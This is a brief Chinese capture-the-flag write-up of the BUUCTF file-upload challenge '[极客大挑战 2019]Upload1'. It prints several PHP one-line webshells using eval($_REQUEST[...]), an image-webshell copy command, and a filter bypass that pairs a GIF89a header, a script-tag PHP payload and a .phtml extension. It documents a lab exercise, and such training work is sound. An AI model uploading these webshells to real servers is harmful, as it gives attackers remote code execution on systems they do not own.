BUUCTF WEB [极客大挑战 2019]Upload1

上传图片

第一时间想到上传木马

先试一下<?php eval($_REQUEST[8])?>写到txt中改后缀jpg上传

看来不行

试一下图片马

 copy yy.jpg/b + muamua.php mama.jpg

 

上传

还是不行

 换个思路

提示过滤了<?

去百度找找有没有其他的一句话木马

<script language="php">eval($_REQUEST[1])</script>

这个没有'<?'

 我靠成功了

但是链接菜刀失败了

---

看wp，大佬基本都是抓包改文件类型为图片和phtml后缀

php的内容是这个一句话木马

GIF89a? <script language="php">eval($_REQUEST[1])</script>

确实成功了

但为神马我的图片马不行QAQ